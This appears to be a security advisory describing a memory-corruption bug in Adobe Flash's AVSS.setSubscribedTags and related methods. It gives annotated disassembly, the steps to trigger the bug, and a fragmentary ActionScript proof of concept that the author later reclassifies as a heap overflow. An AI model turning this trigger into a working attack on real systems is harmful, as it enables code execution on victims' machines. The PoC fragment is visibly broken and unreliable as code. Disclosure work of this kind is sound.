Adobe Flash - AVSS.setSubscribedTags Use-After-Free Memory Corruption








[Tracking for:]

Use After Free in Flash AVSS.setSubscribedTags, setCuePointTags and setSubscribedTagsForBackgroundManifest can be abused to write pointers to String to freed locations.

Chrome Version: 41.0.2272.101 stable, Flash
Operating System: Win7 x64 SP1

Use After Free vulnerability in AVSS.setSubscribedTags can cause arbitrary code execution.
pepflashplayer.dll, based at 0x10000000.

The setSubscribedTags is handled by sub_103255AD:

.text:103255AD                 push    ebp
.text:103255AE                 mov     ebp, esp
.text:103255B0                 and     esp, 0FFFFFFF8h
.text:103255B3                 sub     esp, 14h
.text:103255B6                 push    ebx
.text:103255B7                 mov     ebx, [ebp+arg_0]
.text:103255BA                 push    esi
.text:103255BB                 push    edi
.text:103255BC                 mov     edi, eax
.text:103255BE                 mov     eax, [ebx]
.text:103255C0                 mov     ecx, ebx
.text:103255C2                 call    dword ptr [eax+8Ch]    ; first get the length of the provided array
.text:103255C8                 lea     esi, [edi+4Ch]
.text:103255CB                 mov     [esp+20h+var_C], eax
.text:103255CF                 call    sub_103265BB
.text:103255D4                 mov     esi, [esp+20h+var_C]
.text:103255D8                 test    esi, esi
.text:103255DA                 jz      loc_1032566D
.text:103255E0                 xor     ecx, ecx
.text:103255E2                 push    4
.text:103255E4                 pop     edx
.text:103255E5                 mov     eax, esi
.text:103255E7                 mul     edx
.text:103255E9                 seto    cl
.text:103255EC                 mov     [edi+58h], esi
.text:103255EF                 neg     ecx
.text:103255F1                 or      ecx, eax
.text:103255F3                 push    ecx
.text:103255F4                 call    unknown_libname_129 ;  and then allocate an array of 4*length
.text:103255F9                 and     [esp+24h+var_10], 0
.text:103255FE                 pop     ecx
.text:103255FF                 mov     [edi+54h], eax   ; that pointer is put at offset 0x54 in the object pointed by edi

Next there is a for loop that iterates over the array items and calls the toString() method of each item encountered:

.text:10325606 loc_10325606:
.text:10325606                 mov     eax, [edi+8]
.text:10325609                 mov     eax, [eax+14h]
.text:1032560C                 mov     esi, [eax+4]
.text:1032560F                 push    [esp+20h+var_10]
.text:10325613                 mov     eax, [ebx]
.text:10325615                 mov     ecx, ebx
.text:10325617                 call    dword ptr [eax+3Ch]   ; get the ith element
.text:1032561A                 push    eax
.text:1032561B                 mov     ecx, esi
.text:1032561D                 call    sub_1007205D          ; call element->toString()
.text:10325622                 lea     ecx, [esp+20h+var_8]
.text:10325626                 push    ecx
.text:10325627                 call    sub_10061703
.text:1032562C                 mov     eax, [esp+20h+var_4]
.text:10325630                 inc     eax
.text:10325631                 push    eax
.text:10325632                 call    unknown_libname_129
.text:10325637                 mov     edx, [edi+54h]
.text:1032563A                 pop     ecx
.text:1032563B                 mov     ecx, [esp+20h+var_10]
.text:1032563F                 mov     [edx+ecx*4], eax    ; write a pointer to the string in the array
.text:1032565F                 inc     [esp+20h+var_10]
.text:10325663                 mov     eax, [esp+20h+var_10]
.text:10325667                 cmp     eax, [esp+20h+var_C]
.text:1032566B                 jl      short loc_10325606

The issue can be triggered as follows. Register an object with a custom toString method in an array and call AVSS.setSubscribedTags(array). When object.toString() is called, call again AVSS.setSubscribedTags with a smaller array. This results in freeing the first buffer. So when the execution flow returns to AVSS.setSubscribedTags a UAF occurs allowing an attacker to write a pointer to a string somewhere in memory.

Trigger with that:

    var  = new ();
    var o:Object = new Object();
    o.toString = function():String {
        var a = [0,1,2,3];
        return "ahahahahah"
    var a = [o,1,2,3,4,5,6,7,8,9];
    var i:uint = 0;
    while (i < 0x100000) {

Note: AVSS.setCuePointTags and AVSS.setSubscribedTagsForBackgroundManifest are vulnerable as well, see XAVSSArrayPoc2.swf and XAVSSArrayPoc3.swf.
Compile with mxmlc -target-player 15.0 -swf-version 25

My mistake, not a UAF but instead a heap overflow. We allocate first 4*0x100000 bytes, then free that buffer, then reallocate 4*4 bytes, then write 0x100000 pointers to a buffer of size 0x10.

Proof of Concept: